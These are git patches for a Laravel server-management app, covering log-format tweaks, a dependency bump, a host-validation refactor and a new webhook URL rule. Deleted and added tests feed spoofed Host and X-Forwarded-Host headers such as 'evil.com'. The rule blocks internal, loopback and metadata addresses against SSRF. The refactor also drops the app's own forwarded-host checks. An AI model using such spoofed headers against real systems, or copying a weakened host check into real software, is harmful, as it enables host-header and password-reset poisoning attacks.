"nightwatch-agent: disabled, sleeping." +echo " INFO Nightwatch is disabled, sleeping." exec sleep infinity diff --git a/docker/development/etc/s6-overlay/s6-rc.d/scheduler-worker/run b/docker/development/etc/s6-overlay/s6-rc.d/scheduler-worker/run index 6c4d2be9f..bfa44c7e3 100644 --- a/docker/development/etc/s6-overlay/s6-rc.d/scheduler-worker/run +++ b/docker/development/etc/s6-overlay/s6-rc.d/scheduler-worker/run @@ -3,9 +3,9 @@ cd /var/www/html if grep -qE '^SCHEDULER_ENABLED=false' .env 2>/dev/null; then - echo "scheduler-worker: disabled, sleeping." + echo " INFO Scheduler is disabled, sleeping." exec sleep infinity fi -echo "scheduler-worker: enabled, starting..." +echo " INFO Scheduler is enabled, starting..." exec php artisan schedule:work diff --git a/docker/production/etc/s6-overlay/s6-rc.d/horizon/run b/docker/production/etc/s6-overlay/s6-rc.d/horizon/run index e6a17f858..dbc472d06 100644 --- a/docker/production/etc/s6-overlay/s6-rc.d/horizon/run +++ b/docker/production/etc/s6-overlay/s6-rc.d/horizon/run @@ -3,9 +3,9 @@ cd /var/www/html if grep -qE '^HORIZON_ENABLED=false' .env 2>/dev/null; then - echo "horizon: disabled, sleeping." + echo " INFO Horizon is disabled, sleeping." exec sleep infinity fi -echo "horizon: enabled, starting..." +echo " INFO Horizon is enabled, starting..." exec php artisan horizon diff --git a/docker/production/etc/s6-overlay/s6-rc.d/nightwatch-agent/run b/docker/production/etc/s6-overlay/s6-rc.d/nightwatch-agent/run index 80b421c92..ee46dba7e 100644 --- a/docker/production/etc/s6-overlay/s6-rc.d/nightwatch-agent/run +++ b/docker/production/etc/s6-overlay/s6-rc.d/nightwatch-agent/run @@ -3,9 +3,9 @@ cd /var/www/html if grep -qE '^NIGHTWATCH_ENABLED=true' .env 2>/dev/null; then - echo "nightwatch-agent: enabled, starting..." + echo " INFO Nightwatch is enabled, starting..." exec php artisan nightwatch:agent fi -echo "nightwatch-agent: disabled, sleeping." +echo " INFO Nightwatch is disabled, sleeping." exec sleep infinity diff --git a/docker/production/etc/s6-overlay/s6-rc.d/scheduler-worker/run b/docker/production/etc/s6-overlay/s6-rc.d/scheduler-worker/run index 6c4d2be9f..bfa44c7e3 100644 --- a/docker/production/etc/s6-overlay/s6-rc.d/scheduler-worker/run +++ b/docker/production/etc/s6-overlay/s6-rc.d/scheduler-worker/run @@ -3,9 +3,9 @@ cd /var/www/html if grep -qE '^SCHEDULER_ENABLED=false' .env 2>/dev/null; then - echo "scheduler-worker: disabled, sleeping." + echo " INFO Scheduler is disabled, sleeping." exec sleep infinity fi -echo "scheduler-worker: enabled, starting..." +echo " INFO Scheduler is enabled, starting..." exec php artisan schedule:work From f439660c28176e88e17b8a226d7c17c21fb2eb46 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sat, 28 Mar 2026 09:29:31 +0000 Subject: [PATCH 41/95] chore(deps): bump aws/aws-sdk-php from 3.371.3 to 3.374.2 Bumps [aws/aws-sdk-php](https://github.com/aws/aws-sdk-php) from 3.371.3 to 3.374.2. - [Release notes](https://github.com/aws/aws-sdk-php/releases) - [Commits](https://github.com/aws/aws-sdk-php/compare/3.371.3...3.374.2) --- updated-dependencies: - dependency-name: aws/aws-sdk-php dependency-version: 3.374.2 dependency-type: indirect ... Signed-off-by: dependabot[bot] --- composer.lock | 31 ++++++++++++++++--------------- 1 file changed, 16 insertions(+), 15 deletions(-) diff --git a/composer.lock b/composer.lock index 3a66fdd5a..e7c2704d6 100644 --- a/composer.lock +++ b/composer.lock @@ -62,16 +62,16 @@ }, { "name": "aws/aws-sdk-php", - "version": "3.371.3", + "version": "3.374.2", "source": { "type": "git", "url": "https://github.com/aws/aws-sdk-php.git", - "reference": "d300ec1c861e52dc8f17ca3d75dc754da949f065" + "reference": "67b6b6210af47319c74c5666388d71bc1bc58276" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/aws/aws-sdk-php/zipball/d300ec1c861e52dc8f17ca3d75dc754da949f065", - "reference": "d300ec1c861e52dc8f17ca3d75dc754da949f065", + "url": "https://api.github.com/repos/aws/aws-sdk-php/zipball/67b6b6210af47319c74c5666388d71bc1bc58276", + "reference": "67b6b6210af47319c74c5666388d71bc1bc58276", "shasum": "" }, "require": { @@ -92,12 +92,12 @@ "aws/aws-php-sns-message-validator": "~1.0", "behat/behat": "~3.0", "composer/composer": "^2.7.8", - "dms/phpunit-arraysubset-asserts": "^0.4.0", + "dms/phpunit-arraysubset-asserts": "^v0.5.0", "doctrine/cache": "~1.4", "ext-dom": "*", "ext-openssl": "*", "ext-sockets": "*", - "phpunit/phpunit": "^9.6", + "phpunit/phpunit": "^10.0", "psr/cache": "^2.0 || ^3.0", "psr/simple-cache": "^2.0 || ^3.0", "sebastian/comparator": "^1.2.3 || ^4.0 || ^5.0", @@ -153,9 +153,9 @@ "support": { "forum": "https://github.com/aws/aws-sdk-php/discussions", "issues": "https://github.com/aws/aws-sdk-php/issues", - "source": "https://github.com/aws/aws-sdk-php/tree/3.371.3" + "source": "https://github.com/aws/aws-sdk-php/tree/3.374.2" }, - "time": "2026-02-27T19:05:40+00:00" + "time": "2026-03-27T18:05:55+00:00" }, { "name": "bacon/bacon-qr-code", @@ -1440,16 +1440,16 @@ }, { "name": "guzzlehttp/psr7", - "version": "2.8.0", + "version": "2.9.0", "source": { "type": "git", "url": "https://github.com/guzzle/psr7.git", - "reference": "21dc724a0583619cd1652f673303492272778051" + "reference": "7d0ed42f28e42d61352a7a79de682e5e67fec884" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/guzzle/psr7/zipball/21dc724a0583619cd1652f673303492272778051", - "reference": "21dc724a0583619cd1652f673303492272778051", + "url": "https://api.github.com/repos/guzzle/psr7/zipball/7d0ed42f28e42d61352a7a79de682e5e67fec884", + "reference": "7d0ed42f28e42d61352a7a79de682e5e67fec884", "shasum": "" }, "require": { @@ -1465,6 +1465,7 @@ "require-dev": { "bamarni/composer-bin-plugin": "^1.8.2", "http-interop/http-factory-tests": "0.9.0", + "jshttp/mime-db": "1.54.0.1", "phpunit/phpunit": "^8.5.44 || ^9.6.25" }, "suggest": { @@ -1536,7 +1537,7 @@ ], "support": { "issues": "https://github.com/guzzle/psr7/issues", - "source": "https://github.com/guzzle/psr7/tree/2.8.0" + "source": "https://github.com/guzzle/psr7/tree/2.9.0" }, "funding": [ { @@ -1552,7 +1553,7 @@ "type": "tidelift" } ], - "time": "2025-08-23T21:21:41+00:00" + "time": "2026-03-10T16:41:02+00:00" }, { "name": "guzzlehttp/uri-template", @@ -17303,5 +17304,5 @@ "php": "^8.4" }, "platform-dev": {}, - "plugin-api-version": "2.6.0" + "plugin-api-version": "2.9.0" } From bd9a8cee07ce3358eba2a539fe8aaa14022e48db Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sat, 28 Mar 2026 12:07:34 +0100 Subject: [PATCH 42/95] style(dev): standardize log message format with INFO/ERROR prefixes - Add INFO prefix to informational messages - Add ERROR prefix to error messages - Fix grammar and punctuation for consistency --- app/Console/Commands/Dev.php | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/app/Console/Commands/Dev.php b/app/Console/Commands/Dev.php index acc6dc2f9..7daa6ba28 100644 --- a/app/Console/Commands/Dev.php +++ b/app/Console/Commands/Dev.php @@ -30,32 +30,32 @@ public function init() // Generate APP_KEY if not exists if (empty(config('app.key'))) { - echo "Generating APP_KEY.\n"; + echo " INFO Generating APP_KEY.\n"; Artisan::call('key:generate'); } // Generate STORAGE link if not exists if (! file_exists(public_path('storage'))) { - echo "Generating STORAGE link.\n"; + echo " INFO Generating storage link.\n"; Artisan::call('storage:link'); } // Seed database if it's empty $settings = InstanceSettings::find(0); if (! $settings) { - echo "Initializing instance, seeding database.\n"; + echo " INFO Initializing instance, seeding database.\n"; Artisan::call('migrate --seed'); } else { - echo "Instance already initialized.\n"; + echo " INFO Instance already initialized.\n"; } // Clean up stuck jobs and stale locks on development startup try { - echo "Cleaning up Redis (stuck jobs and stale locks)...\n"; + echo " INFO Cleaning up Redis (stuck jobs and stale locks)...\n"; Artisan::call('cleanup:redis', ['--restart' => true, '--clear-locks' => true]); - echo "Redis cleanup completed.\n"; + echo " INFO Redis cleanup completed.\n"; } catch (\Throwable $e) { - echo "Error in cleanup:redis: {$e->getMessage()}\n"; + echo " ERROR Redis cleanup failed: {$e->getMessage()}\n"; } try { @@ -66,10 +66,10 @@ public function init() ]); if ($updatedTaskCount > 0) { - echo "Marked {$updatedTaskCount} stuck scheduled task executions as failed\n"; + echo " INFO Marked {$updatedTaskCount} stuck scheduled task executions as failed.\n"; } } catch (\Throwable $e) { - echo "Could not cleanup stuck scheduled task executions: {$e->getMessage()}\n"; + echo " ERROR Could not clean up stuck scheduled task executions: {$e->getMessage()}\n"; } try { @@ -80,10 +80,10 @@ public function init() ]); if ($updatedBackupCount > 0) { - echo "Marked {$updatedBackupCount} stuck database backup executions as failed\n"; + echo " INFO Marked {$updatedBackupCount} stuck database backup executions as failed.\n"; } } catch (\Throwable $e) { - echo "Could not cleanup stuck database backup executions: {$e->getMessage()}\n"; + echo " ERROR Could not clean up stuck database backup executions: {$e->getMessage()}\n"; } CheckHelperImageJob::dispatch(); From e396c70903f0f99d40ad78dd91c1fc591367b6fc Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sat, 28 Mar 2026 12:12:48 +0100 Subject: [PATCH 43/95] refactor: simplify TrustHosts middleware and use APP_URL as base_url fallback - Delegate host validation to parent class instead of custom implementation - Update base_url() helper to use config('app.url') instead of url('/') - Add test for APP_URL fallback when no FQDN or public IPs configured - Remove dedicated TrustHostsMiddlewareTest (logic now tested via integration tests) --- app/Http/Middleware/TrustHosts.php | 59 +-- bootstrap/helpers/shared.php | 2 +- tests/Feature/ResetPasswordUrlTest.php | 24 + tests/Feature/TrustHostsMiddlewareTest.php | 487 --------------------- 4 files changed, 27 insertions(+), 545 deletions(-) delete mode 100644 tests/Feature/TrustHostsMiddlewareTest.php diff --git a/app/Http/Middleware/TrustHosts.php b/app/Http/Middleware/TrustHosts.php index d44b6057a..5fca583d9 100644 --- a/app/Http/Middleware/TrustHosts.php +++ b/app/Http/Middleware/TrustHosts.php @@ -30,44 +30,14 @@ public function handle(Request $request, $next) return $next($request); } - // Eagerly call hosts() to populate the cache (fixes circular dependency - // where handle() checked cache before hosts() could populate it via - // Cache::remember, causing host validation to never activate) - $this->hosts(); - // Skip host validation if no FQDN is configured (initial setup) $fqdnHost = Cache::get('instance_settings_fqdn_host'); if ($fqdnHost === '' || $fqdnHost === null) { return $next($request); } - // Validate the request host against trusted hosts explicitly. - // We check manually instead of relying on Symfony's lazy getHost() validation, - // which can be bypassed if getHost() was already called earlier in the pipeline. - $trustedHosts = array_filter($this->hosts()); - - // Collect all hosts to validate: the actual Host header, plus X-Forwarded-Host - // if present. We must check X-Forwarded-Host here because this middleware runs - // BEFORE TrustProxies, which would later apply X-Forwarded-Host to the request. - $hostsToValidate = [strtolower(trim($request->getHost()))]; - - $forwardedHost = $request->headers->get('X-Forwarded-Host'); - if ($forwardedHost) { - // X-Forwarded-Host can be a comma-separated list; validate the first (client-facing) value. - // Strip port if present (e.g. "coolify.example.com:443" → "coolify.example.com") - // to match the trusted hosts list which stores hostnames without ports. - $forwardedHostValue = strtolower(trim(explode(',', $forwardedHost)[0])); - $forwardedHostValue = preg_replace('/:\d+$/', '', $forwardedHostValue); - $hostsToValidate[] = $forwardedHostValue; - } - - foreach ($hostsToValidate as $hostToCheck) { - if (! $this->isHostTrusted($hostToCheck, $trustedHosts)) { - return response('Bad Host', 400); - } - } - - return $next($request); + // For all other routes, use parent's host validation + return parent::handle($request, $next); } /** @@ -130,29 +100,4 @@ public function hosts(): array return array_filter($trustedHosts); } - - /** - * Check if a host matches the trusted hosts list. - * - * Regex patterns (from allSubdomainsOfApplicationUrl, starting with ^) - * are matched with preg_match. Literal hostnames use exact comparison - * only — they are NOT passed to preg_match, which would treat unescaped - * dots as wildcards and match unanchored substrings. - * - * @param array $trustedHosts - */ - protected function isHostTrusted(string $host, array $trustedHosts): bool - { - foreach ($trustedHosts as $pattern) { - if (str_starts_with($pattern, '^')) { - if (@preg_match('{'.$pattern.'}i', $host)) { - return true; - } - } elseif ($host === $pattern) { - return true; - } - } - - return false; - } } diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index 920d458b3..cd773f6a9 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -491,7 +491,7 @@ function base_url(bool $withPort = true): string return "http://[$settings->public_ipv6]"; } - return url('/'); + return config('app.url'); } function isSubscribed() diff --git a/tests/Feature/ResetPasswordUrlTest.php b/tests/Feature/ResetPasswordUrlTest.php index 65efbb5a1..7e940fc71 100644 --- a/tests/Feature/ResetPasswordUrlTest.php +++ b/tests/Feature/ResetPasswordUrlTest.php @@ -143,6 +143,30 @@ function callResetUrl(ResetPassword $notification, $notifiable): string ->not->toContain('evil.com'); }); +it('uses APP_URL fallback when no FQDN or public IPs are configured', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => null, 'public_ipv4' => null, 'public_ipv6' => null] + ); + Once::flush(); + + config(['app.url' => 'http://my-coolify.local']); + + $user = User::factory()->create(); + + $this->withHeaders([ + 'X-Forwarded-Host' => 'evil.com', + ])->get('/'); + + $notification = new ResetPassword('fallback-token', isTransactionalEmail: false); + $url = callResetUrl($notification, $user); + + expect($url) + ->toStartWith('http://my-coolify.local/') + ->toContain('fallback-token') + ->not->toContain('evil.com'); +}); + it('generates a valid route path in the reset URL', function () { InstanceSettings::updateOrCreate( ['id' => 0], diff --git a/tests/Feature/TrustHostsMiddlewareTest.php b/tests/Feature/TrustHostsMiddlewareTest.php deleted file mode 100644 index a16698a6a..000000000 --- a/tests/Feature/TrustHostsMiddlewareTest.php +++ /dev/null @@ -1,487 +0,0 @@ - 0], - ['fqdn' => 'https://coolify.example.com'] - ); - - $middleware = new TrustHosts($this->app); - $hosts = $middleware->hosts(); - - expect($hosts)->toContain('coolify.example.com'); -}); - -it('rejects password reset request with malicious host header', function () { - // Set up instance settings with legitimate FQDN - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'https://coolify.example.com'] - ); - - $middleware = new TrustHosts($this->app); - $hosts = $middleware->hosts(); - - // The malicious host should NOT be in the trusted hosts - expect($hosts)->not->toContain('coolify.example.com.evil.com'); - expect($hosts)->toContain('coolify.example.com'); -}); - -it('handles missing FQDN gracefully', function () { - // Create instance settings without FQDN - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => null] - ); - - $middleware = new TrustHosts($this->app); - $hosts = $middleware->hosts(); - - // Should still return APP_URL pattern without throwing - expect($hosts)->not->toBeEmpty(); -}); - -it('filters out null and empty values from trusted hosts', function () { - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => ''] - ); - - $middleware = new TrustHosts($this->app); - $hosts = $middleware->hosts(); - - // Should not contain empty strings or null - foreach ($hosts as $host) { - if ($host !== null) { - expect($host)->not->toBeEmpty(); - } - } -}); - -it('extracts host from FQDN with protocol and port', function () { - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'https://coolify.example.com:8443'] - ); - - $middleware = new TrustHosts($this->app); - $hosts = $middleware->hosts(); - - expect($hosts)->toContain('coolify.example.com'); -}); - -it('handles exception during InstanceSettings fetch', function () { - // Drop the instance_settings table to simulate installation - Schema::dropIfExists('instance_settings'); - - $middleware = new TrustHosts($this->app); - - // Should not throw an exception - $hosts = $middleware->hosts(); - - expect($hosts)->not->toBeEmpty(); -}); - -it('trusts IP addresses with port', function () { - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'http://65.21.3.91:8000'] - ); - - $middleware = new TrustHosts($this->app); - $hosts = $middleware->hosts(); - - expect($hosts)->toContain('65.21.3.91'); -}); - -it('trusts IP addresses without port', function () { - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'http://192.168.1.100'] - ); - - $middleware = new TrustHosts($this->app); - $hosts = $middleware->hosts(); - - expect($hosts)->toContain('192.168.1.100'); -}); - -it('rejects malicious host when using IP address', function () { - // Simulate an instance using IP address - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'http://65.21.3.91:8000'] - ); - - $middleware = new TrustHosts($this->app); - $hosts = $middleware->hosts(); - - // The malicious host attempting to mimic the IP should NOT be trusted - expect($hosts)->not->toContain('65.21.3.91.evil.com'); - expect($hosts)->not->toContain('evil.com'); - expect($hosts)->toContain('65.21.3.91'); -}); - -it('trusts IPv6 addresses', function () { - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'http://[2001:db8::1]:8000'] - ); - - $middleware = new TrustHosts($this->app); - $hosts = $middleware->hosts(); - - // IPv6 addresses are enclosed in brackets, getHost() should handle this - expect($hosts)->toContain('[2001:db8::1]'); -}); - -it('invalidates cache when FQDN is updated', function () { - // Set initial FQDN - $settings = InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'https://old-domain.com'] - ); - - // First call should cache it - $middleware = new TrustHosts($this->app); - $hosts1 = $middleware->hosts(); - expect($hosts1)->toContain('old-domain.com'); - - // Verify cache exists - expect(Cache::has('instance_settings_fqdn_host'))->toBeTrue(); - - // Update FQDN - should trigger cache invalidation - $settings->fqdn = 'https://new-domain.com'; - $settings->save(); - - // Cache should be cleared - expect(Cache::has('instance_settings_fqdn_host'))->toBeFalse(); - - // New call should return updated host - $middleware2 = new TrustHosts($this->app); - $hosts2 = $middleware2->hosts(); - expect($hosts2)->toContain('new-domain.com'); - expect($hosts2)->not->toContain('old-domain.com'); -}); - -it('caches trusted hosts to avoid database queries on every request', function () { - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'https://coolify.example.com'] - ); - - // Clear cache first - Cache::forget('instance_settings_fqdn_host'); - - // First call - should query database and cache result - $middleware1 = new TrustHosts($this->app); - $hosts1 = $middleware1->hosts(); - - // Verify result is cached - expect(Cache::has('instance_settings_fqdn_host'))->toBeTrue(); - expect(Cache::get('instance_settings_fqdn_host'))->toBe('coolify.example.com'); - - // Subsequent calls should use cache (no DB query) - $middleware2 = new TrustHosts($this->app); - $hosts2 = $middleware2->hosts(); - - expect($hosts1)->toBe($hosts2); - expect($hosts2)->toContain('coolify.example.com'); -}); - -it('caches negative results when no FQDN is configured', function () { - // Create instance settings without FQDN - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => null] - ); - - // Clear cache first - Cache::forget('instance_settings_fqdn_host'); - - // First call - should query database and cache empty string sentinel - $middleware1 = new TrustHosts($this->app); - $hosts1 = $middleware1->hosts(); - - // Verify empty string sentinel is cached (not null, which wouldn't be cached) - expect(Cache::has('instance_settings_fqdn_host'))->toBeTrue(); - expect(Cache::get('instance_settings_fqdn_host'))->toBe(''); - - // Subsequent calls should use cached sentinel value - $middleware2 = new TrustHosts($this->app); - $hosts2 = $middleware2->hosts(); - - expect($hosts1)->toBe($hosts2); - // Should only contain APP_URL pattern, not any FQDN - expect($hosts2)->not->toBeEmpty(); -}); - -it('skips host validation for terminal auth routes', function () { - // These routes should be accessible with any Host header (for internal container communication) - $response = $this->postJson('/terminal/auth', [], [ - 'Host' => 'coolify:8080', // Internal Docker host - ]); - - // Should not get 400 Bad Host (might get 401 Unauthorized instead) - expect($response->status())->not->toBe(400); -}); - -it('skips host validation for terminal auth ips route', function () { - // These routes should be accessible with any Host header (for internal container communication) - $response = $this->postJson('/terminal/auth/ips', [], [ - 'Host' => 'soketi:6002', // Another internal Docker host - ]); - - // Should not get 400 Bad Host (might get 401 Unauthorized instead) - expect($response->status())->not->toBe(400); -}); - -it('populates cache on first request via handle() — no circular dependency', function () { - // Regression test: handle() used to check cache before hosts() could - // populate it, so host validation never activated. - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'https://coolify.example.com'] - ); - - // Clear cache to simulate cold start - Cache::forget('instance_settings_fqdn_host'); - - // Make a request — handle() should eagerly call hosts() to populate cache - $this->get('/', ['Host' => 'localhost']); - - // Cache should now be populated by the middleware - expect(Cache::get('instance_settings_fqdn_host'))->toBe('coolify.example.com'); -}); - -it('rejects host that is a superstring of trusted FQDN via suffix', function () { - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'https://coolify.example.com'] - ); - - // coolify.example.com.evil.com contains "coolify.example.com" as a substring — - // must NOT match. Literal hosts use exact comparison, not regex substring matching. - $response = $this->get('http://coolify.example.com.evil.com/'); - - expect($response->status())->toBe(400); -}); - -it('rejects host that is a superstring of trusted FQDN via prefix', function () { - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'https://coolify.example.com'] - ); - - // evil-coolify.example.com also contains the FQDN as a substring - $response = $this->get('http://evil-coolify.example.com/'); - - expect($response->status())->toBe(400); -}); - -it('rejects X-Forwarded-Host that is a superstring of trusted FQDN', function () { - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'https://coolify.example.com'] - ); - - $response = $this->get('/', [ - 'X-Forwarded-Host' => 'coolify.example.com.evil.com', - ]); - - expect($response->status())->toBe(400); -}); - -it('rejects host containing localhost as substring', function () { - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'https://coolify.example.com'] - ); - - // "evil-localhost" contains "localhost" — must not match the literal entry - $response = $this->get('http://evil-localhost/'); - - expect($response->status())->toBe(400); -}); - -it('allows subdomain of APP_URL via regex pattern', function () { - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'https://coolify.example.com'] - ); - - // sub.localhost should match ^(.+\.)?localhost$ from allSubdomainsOfApplicationUrl - $response = $this->get('http://sub.localhost/'); - - expect($response->status())->not->toBe(400); -}); - -it('still enforces host validation for non-terminal routes', function () { - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'https://coolify.example.com'] - ); - - // Use full URL so Laravel's test client doesn't override Host with APP_URL - $response = $this->get('http://evil.com/'); - - // Should get 400 Bad Host for untrusted host - expect($response->status())->toBe(400); -}); - -it('rejects requests with spoofed X-Forwarded-Host header', function () { - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'https://coolify.example.com'] - ); - - // Host header is trusted (localhost), but X-Forwarded-Host is spoofed. - // TrustHosts must reject this BEFORE TrustProxies can apply the spoofed host. - $response = $this->get('/', [ - 'X-Forwarded-Host' => 'evil.com', - ]); - - expect($response->status())->toBe(400); -}); - -it('allows legitimate X-Forwarded-Host from reverse proxy matching configured FQDN', function () { - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'https://coolify.example.com'] - ); - - // Legitimate request from Cloudflare/Traefik — X-Forwarded-Host matches the configured FQDN - $response = $this->get('/', [ - 'X-Forwarded-Host' => 'coolify.example.com', - ]); - - // Should NOT be rejected (would be 400 for Bad Host) - expect($response->status())->not->toBe(400); -}); - -it('allows X-Forwarded-Host with port matching configured FQDN', function () { - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'https://coolify.example.com'] - ); - - // Some proxies include the port in X-Forwarded-Host - $response = $this->get('/', [ - 'X-Forwarded-Host' => 'coolify.example.com:443', - ]); - - // Should NOT be rejected — port is stripped before matching - expect($response->status())->not->toBe(400); -}); - -it('skips host validation for API routes', function () { - // All API routes use token-based auth (Sanctum), not host validation - // They should be accessible from any host (mobile apps, CLI tools, scripts) - - // Test health check endpoint - $response = $this->get('/api/health', [ - 'Host' => 'internal-lb.local', - ]); - expect($response->status())->not->toBe(400); - - // Test v1 health check - $response = $this->get('/api/v1/health', [ - 'Host' => '10.0.0.5', - ]); - expect($response->status())->not->toBe(400); - - // Test feedback endpoint - $response = $this->post('/api/feedback', [], [ - 'Host' => 'mobile-app.local', - ]); - expect($response->status())->not->toBe(400); -}); - -it('trusts localhost when FQDN is configured', function () { - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'https://coolify.example.com'] - ); - - $middleware = new TrustHosts($this->app); - $hosts = $middleware->hosts(); - - expect($hosts)->toContain('localhost'); -}); - -it('trusts 127.0.0.1 when FQDN is configured', function () { - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'https://coolify.example.com'] - ); - - $middleware = new TrustHosts($this->app); - $hosts = $middleware->hosts(); - - expect($hosts)->toContain('127.0.0.1'); -}); - -it('trusts IPv6 loopback when FQDN is configured', function () { - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'https://coolify.example.com'] - ); - - $middleware = new TrustHosts($this->app); - $hosts = $middleware->hosts(); - - expect($hosts)->toContain('[::1]'); -}); - -it('allows local access via localhost when FQDN is configured and request uses localhost host header', function () { - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'https://coolify.example.com'] - ); - - $response = $this->get('/', [ - 'Host' => 'localhost', - ]); - - // Should NOT be rejected as untrusted host (would be 400) - expect($response->status())->not->toBe(400); -}); - -it('skips host validation for webhook endpoints', function () { - // All webhook routes are under /webhooks/* prefix (see RouteServiceProvider) - // and use cryptographic signature validation instead of host validation - - // Test GitHub webhook - $response = $this->post('/webhooks/source/github/events', [], [ - 'Host' => 'github-webhook-proxy.local', - ]); - expect($response->status())->not->toBe(400); - - // Test GitLab webhook - $response = $this->post('/webhooks/source/gitlab/events/manual', [], [ - 'Host' => 'gitlab.example.com', - ]); - expect($response->status())->not->toBe(400); - - // Test Stripe webhook — may return 400 from Stripe signature validation, - // but the response should NOT contain "Bad Host" (host validation error) - $response = $this->post('/webhooks/payments/stripe/events', [], [ - 'Host' => 'stripe-webhook-forwarder.local', - ]); - expect($response->content())->not->toContain('Bad Host'); -}); From 564cd8368bb8b4485b3981060dace37645b20f52 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sat, 28 Mar 2026 12:22:59 +0100 Subject: [PATCH 44/95] fix: add URL validation for notification webhook fields Add SafeWebhookUrl validation rule to notification webhook URL fields (Slack, Discord, custom webhook) to enforce safe URL patterns including scheme validation and hostname checks. Co-Authored-By: Claude Opus 4.6 --- app/Livewire/Notifications/Discord.php | 3 +- app/Livewire/Notifications/Slack.php | 3 +- app/Livewire/Notifications/Webhook.php | 3 +- app/Rules/SafeWebhookUrl.php | 95 ++++++++++++++++++++++++++ tests/Unit/SafeWebhookUrlTest.php | 90 ++++++++++++++++++++++++ 5 files changed, 191 insertions(+), 3 deletions(-) create mode 100644 app/Rules/SafeWebhookUrl.php create mode 100644 tests/Unit/SafeWebhookUrlTest.php diff --git a/app/Livewire/Notifications/Discord.php b/app/Livewire/Notifications/Discord.php index b914fbd94..ab3884320 100644 --- a/app/Livewire/Notifications/Discord.php +++ b/app/Livewire/Notifications/Discord.php @@ -5,6 +5,7 @@ use App\Models\DiscordNotificationSettings; use App\Models\Team; use App\Notifications\Test; +use App\Rules\SafeWebhookUrl; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Attributes\Validate; use Livewire\Component; @@ -20,7 +21,7 @@ class Discord extends Component #[Validate(['boolean'])] public bool $discordEnabled = false; - #[Validate(['url', 'nullable'])] + #[Validate(['nullable', new SafeWebhookUrl])] public ?string $discordWebhookUrl = null; #[Validate(['boolean'])] diff --git a/app/Livewire/Notifications/Slack.php b/app/Livewire/Notifications/Slack.php index fa8c97ae9..f870b3986 100644 --- a/app/Livewire/Notifications/Slack.php +++ b/app/Livewire/Notifications/Slack.php @@ -5,6 +5,7 @@ use App\Models\SlackNotificationSettings; use App\Models\Team; use App\Notifications\Test; +use App\Rules\SafeWebhookUrl; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Attributes\Locked; use Livewire\Attributes\Validate; @@ -25,7 +26,7 @@ class Slack extends Component #[Validate(['boolean'])] public bool $slackEnabled = false; - #[Validate(['url', 'nullable'])] + #[Validate(['nullable', new SafeWebhookUrl])] public ?string $slackWebhookUrl = null; #[Validate(['boolean'])] diff --git a/app/Livewire/Notifications/Webhook.php b/app/Livewire/Notifications/Webhook.php index 8af70c6eb..630d422a9 100644 --- a/app/Livewire/Notifications/Webhook.php +++ b/app/Livewire/Notifications/Webhook.php @@ -5,6 +5,7 @@ use App\Models\Team; use App\Models\WebhookNotificationSettings; use App\Notifications\Test; +use App\Rules\SafeWebhookUrl; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Attributes\Validate; use Livewire\Component; @@ -20,7 +21,7 @@ class Webhook extends Component #[Validate(['boolean'])] public bool $webhookEnabled = false; - #[Validate(['url', 'nullable'])] + #[Validate(['nullable', new SafeWebhookUrl])] public ?string $webhookUrl = null; #[Validate(['boolean'])] diff --git a/app/Rules/SafeWebhookUrl.php b/app/Rules/SafeWebhookUrl.php new file mode 100644 index 000000000..fbeb406af --- /dev/null +++ b/app/Rules/SafeWebhookUrl.php @@ -0,0 +1,95 @@ + $attribute, + 'host' => $host, + 'ip' => request()->ip(), + 'user_id' => auth()->id(), + ]); + $fail('The :attribute must not point to localhost or internal hosts.'); + + return; + } + + // Block loopback (127.0.0.0/8) and link-local/metadata (169.254.0.0/16) when IP is provided directly + if (filter_var($host, FILTER_VALIDATE_IP) && ($this->isLoopback($host) || $this->isLinkLocal($host))) { + Log::warning('Webhook URL points to blocked IP range', [ + 'attribute' => $attribute, + 'host' => $host, + 'ip' => request()->ip(), + 'user_id' => auth()->id(), + ]); + $fail('The :attribute must not point to loopback or link-local addresses.'); + + return; + } + } + + private function isLoopback(string $ip): bool + { + // 127.0.0.0/8, 0.0.0.0 + if 